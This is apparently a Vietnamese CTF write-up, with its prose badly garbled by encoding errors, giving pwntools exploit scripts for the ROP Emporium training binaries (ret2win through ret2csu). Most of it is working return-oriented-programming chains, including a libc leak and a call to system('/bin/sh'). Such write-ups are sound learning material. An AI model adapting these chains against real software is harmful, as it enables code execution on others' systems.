Ret2Win
ChÆ°ÆĄng trÃŦnh cÃŗ và i biáģn phÃĄp Äáģ trÃĄnh attacker cÃŗ tháģ sáģ dáģĨng elf.sym["<symbol>"].
Payload nhÆ° sau:
Copy from pwn import *
elf = ELF("./ret2win")
r = elf.process()
gdb.attach(r, api = True)
payload = cyclic(40) + p64(0x000000000040075a) <--- ret to puts of ret2win()
r.sendline(payload)
r.interactive() Done
Link walkthrought áģ ÄÃĸy .
+--------------------------------------------------------------------------------------------+
Split
Copy from pwn import *
elf = ELF("./split")
r = elf.process()
payload = b"a" * 40
payload += p64(0x00000000004007c3)
payload += p64(0x601060)
payload += p64(0x000000000040074b)
r.sendline(payload)
r.interactive() Done
Link walkthrought áģ ÄÃĸy .
+--------------------------------------------------------------------------------------------+
Callme
Copy from pwn import *
elf = ELF("./callme")
r = elf.process()
gdb.attach(r, api = True)
payload = b"a" * 40
payload += p64(0x000000000040093c) #<--- ropgadget
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(elf.sym["callme_one"])
payload += p64(0x000000000040093c) #<--- ropgadget
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(elf.sym["callme_two"])
payload += p64(0x000000000040093c) #<--- ropgadget
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)
payload += p64(elf.sym["callme_three"])
r.sendline(payload)
r.interactive() Done
Link walkthrought áģ ÄÃĸy .
+--------------------------------------------------------------------------------------------+
Write4
Copy from pwn import *
elf = ELF("./write4")
r = elf.process()
payload = b"a" * 40
payload += p64(0x0000000000400690) #<-- pop r14 ; pop r15 ; ret
payload += p64(0x601070)
payload += b"flag.txt"
payload += p64(0x0000000000400628) #<-- mov QWORD PTR [r14],r15
payload += p64(0x0000000000400693) #<-- pop rdi ; ret
payload += p64(0x601070)
payload += p64(elf.sym["print_file"])
r.sendline(payload)
r.interactive() Done
Link walkthrought áģ ÄÃĸy .
+--------------------------------------------------------------------------------------------+
Badchars
Copy from pwn import *
elf = ELF("./badchars")
r = elf.process()
gdb.attach(r, api = True)
payload = b"a" * 40
store_addr = 0x601070
#recover "."
payload += p64(0x000000000040069c) #pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += b"fl___t_t"
payload += p64(store_addr)
payload += p64(0x71) # 0x71 ^ "_" == "."
payload += p64(store_addr + 4)
payload += p64(0x0000000000400634) # mov QWORD PTR [r13+0x0],r12
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
# recover "x"
payload += p64(0x00000000004006a0) # pop r14 ; pop r15 ; ret
payload += p64(0x27) #0x27 ^ "_" == "x"
payload += p64(store_addr + 6)
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
#recover "a"
payload += p64(0x00000000004006a0) # pop r14 ; pop r15 ; ret
payload += p64(0x3e) #0x3e ^ "_" == "a"
payload += p64(store_addr + 2)
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
#recover "g"
payload += p64(0x00000000004006a0) # pop r14 ; pop r15 ; ret
payload += p64(0x38) #0x38 ^ "_" == "g"
payload += p64(store_addr + 3)
payload += p64(0x0000000000400628) #xor BYTE PTR [r15],r14b
payload += p64(0x00000000004006a3) # pop rdi ; ret
payload += p64(0x601070)
payload += p64(elf.sym["print_file"])
r.sendline(payload)
r.interactive() Done
Link walkthrought áģ ÄÃĸy.
+--------------------------------------------------------------------------------------------+
Fluff
Assembly- Intruction
Instruction nà y cÃŗ cháģŠc nÄng Äáģc và ghi dáģ¯ liáģu (byte) táģĢ Äáģa cháģ báģ nháģ [rbx + al] al
Instruction nà y cÃŗ cháģŠc nÄng sao chÊp dáģ¯ liáģu táģĢ thanh ghi rcx rbx rdx
stos BYTE PTR es:[rdi],al
Instruction nà y cÃŗ cháģŠc nÄng lÆ°u giÃĄ tráģ cáģ§a thanh ghi al [rdi] rdi
Done
Copy from pwn import *
elf = context.binary = ELF("./fluff")
r = elf.process()
gdb.attach(r, '''
b*pwnme+152\n
b*questionableGadgets+18\n
c
''')
###############
# ROP chain #
###############
print_file = elf.sym["print_file"]
pop_rdx_rcx_add_rcx_bextr = 0x000000000040062a
xlat_ds_rbx_ret = 0x0000000000400628
stos_rdi_al_ret = 0x0000000000400639
_f = 0x4003c1 + 3
_l = 0x400238 + 1
_a = 0x4003cd + 9
_g = 0x4003cd + 2
_t = 0x4003cd + 8
_x = 0x400238 + 14
_dot = 0x4003c1 + 8
pop_rdi_ret = 0x00000000004006a3
#############
# Exploit #
#############
payload = b"a" * 40
payload += flat(
# store f
pop_rdi_ret,
0x601070,
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_f - 0x3ef2 - 0xb,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store l
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_l - 0x3ef2 - 0x66,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store a
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_a - 0x3ef2 - 0x6c,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store g
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_g - 0x3ef2 - 0x61,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store dot
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_dot - 0x3ef2 - 0x67,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store t
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_t - 0x3ef2 - 0x2e,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store x
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_x - 0x3ef2 - 0x74,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
#store t
pop_rdx_rcx_add_rcx_bextr,
0x2000,
_t - 0x3ef2 - 0x78,
xlat_ds_rbx_ret,
stos_rdi_al_ret,
pop_rdi_ret,
0x601070,
print_file
)
r.sendline(payload)
r.interactive() Pivot (release Stack Pivoting)
Source
CÃĄch 1:
debug cÃĄch nà y lÃē luôn
Copy from pwn import *
elf = context.binary = ELF("./pivot")
libc = elf.libc
r = elf.process()
gdb.attach(r,
'''
b*pwnme+182\n
b*pwnme+4\n
c
''')
#############
# ROP chain #
#############
pop_rsp_r13_r14_r15 = 0x0000000000400a2d
pop_rdi_ret = 0x0000000000400a33
pop_rax = 0x00000000004009bb
xchg_rsp_rax = 0x00000000004009bd
###########
# Exploit #
###########
r.recvuntil(b"pivot: ") #buffer
heap = int(r.recvuntil(b"df10"), 16) # recv buffer address
log.success(f"Buffer: {hex(heap)}")
#############
# LEAK LIBC #
#############
payload = flat(
pop_rdi_ret,
elf.got["puts"],
elf.plt["puts"],
elf.sym["pwnme"] + 4,
0x6010b0,
pop_rax,
heap,
xchg_rsp_rax
)
r.sendlineafter(b"land there\n> ",payload)
r.sendlineafter(b"stack smash\n> ",payload)
r.recvuntil(b"Thank you!\n")
puts_leak = u64(r.recv(6).ljust(8, b"\0"))
log.success(f"Puts Address: {hex(puts_leak)}")
libc.address = puts_leak - libc.sym["puts"]
log.success(f"Libc Base: {hex(libc.address)}")
###############
# Get Shell #
###############
payload = flat(
cyclic(40),
pop_rdi_ret + 1,
pop_rdi_ret,
next(libc.search(b"/bin/sh")),
libc.sym["system"]
)
r.sendline(payload)
r.interactive() CÃĄch 2:
Copy from pwn import*
elf = context.binary = ELF('./pivot', checksec=False)
r = process("./pivot")
gdb.attach(r, '''
b*pwnme+113
c
''')
r.recvuntil(b"pivot: ") #buffer
leak = int(r.recvuntil(b"df10"), 16)
print("leak addr: ", hex(leak))
ret2win = leak + 0x1e2b71
payload = flat(
cyclic(0x28),
ret2win
)
r.sendlineafter(b"land there\n> ",payload)
r.sendlineafter(b"stack smash\n> ",payload)
r.interactive() Nháēn xÊt:
Äáģ bà i tuy là bai váģt nhÆ°ng mà cÃĄch tháģŠ 2 không háģ bai váģt nhÆ°ng váēĢn ra trong khi ÄÃŗ cÃĄch 1 là m theo pivot thÃŦ dà i vch đĨ˛.
Bà i nà y tháģąc ra cÃ˛n 1 cÃĄch náģ¯a nhÆ°ng mà mÃŦnh bÃŗ tay, dà i v + lÆ°áģi @@
Ret2Csu
Hiáģu ÄÆĄn giáēŖn thÃŦ kÄŠ thuáēt nà y sáēŊ ÄÆ°áģŖc sáģ dáģĨng khi trong file nháģ phÃĸn báģ thiáēŋu cÃĄc gadget quan tráģng nhÆ°:
Copy pop rdi ; ret
pop rsi ; ret
pop rdx ; ret
pop rcx ; ret Giáģng nhÆ° trÆ°áģng háģŖp dÆ°áģi ÄÃĸy tôi cháģ tháēĨy ÄÆ°áģŖc 2 gadget sau:
Náēŋu chÆ°ÆĄng trÃŦnh cáē§n truyáģn và o 3 tham sáģ thÃŦ sáģ gadget chÃēng ta tháēĨy áģ ÄÃĸy không tháģ Äáģ§. Do ÄÃŗ kÄŠ thuáēt ret2csu __libc_csu_init rdx
áģ trÆ°áģng háģŖp nà y thÃŦ cÃĄc báēĄn cÃŗ tháģ pop r15 mov rdx r15
ÄÃŗ là Äôi chÃēt kiáēŋn tháģŠc cÆĄ báēŖn Äáģ báēĄn cÃŗ tháģ sáģ dáģĨng nháģ¯ng gadget nà y Äáģ thay Äáģi giÃĄ tráģ cáģ§a 3 parameters.
Solution
Ta cÃŗ nháģ¯ng giÃĄ tráģ sau ÄÃĸy cáē§n cho viáģc khai thÃĄc.
Và táēĨt nhiÃĒn Äáģ trÃĄnh viáģc báģ láģi khi cÃĄc thanh ghi biáēŋn báģ thay Äáģi khi ta ret nÃŗ táģĢ Äáē§u hà m usefulFunction thÃŦ Äáģa cháģ chÃēng ta sáēŊ return là : 0x000000000040062a
Giai ÄoáēĄn cáģ§a nÃŗ tôi ÄÃŖ minh háģa qua cÃĄc mÅŠi tÃĒn.
áģ ÄÃĸy báēĄn cháģ cáē§n tÃnh toÃĄn sao cho r12 + rbx*8 = Äáģa cháģ nà o ÄÃŗ. Náēŋu báēĄn tÃ˛ mÃ˛ 1 xÃu báēĄn cÃŗ tháģ tháēĨy hà m _init bÃĒn trÃĒn không là m thay Äáģi báēĨt cáģŠ thanh ghi nà o liÃĒn quan:
MÃŦnh sáēŊ cover láēĄi quÃĄ trÃŦnh ÄáēŠy giÃĄ tráģ lÃĒn stack Äáģ nÃŗ cÃŗ tháģ thay Äáģi ÄÆ°áģŖc 3 giÃĄ tráģ.
Và ÄÃĸy là stack tháēt sáģą sau khi gáģi payload:
*NÃŗ cÃŗ 1 và i sai sáģ xÃu do mÃŦnh ngáēĄi sáģa payload ban Äáē§u
Nch là váēĢn oke.
Done
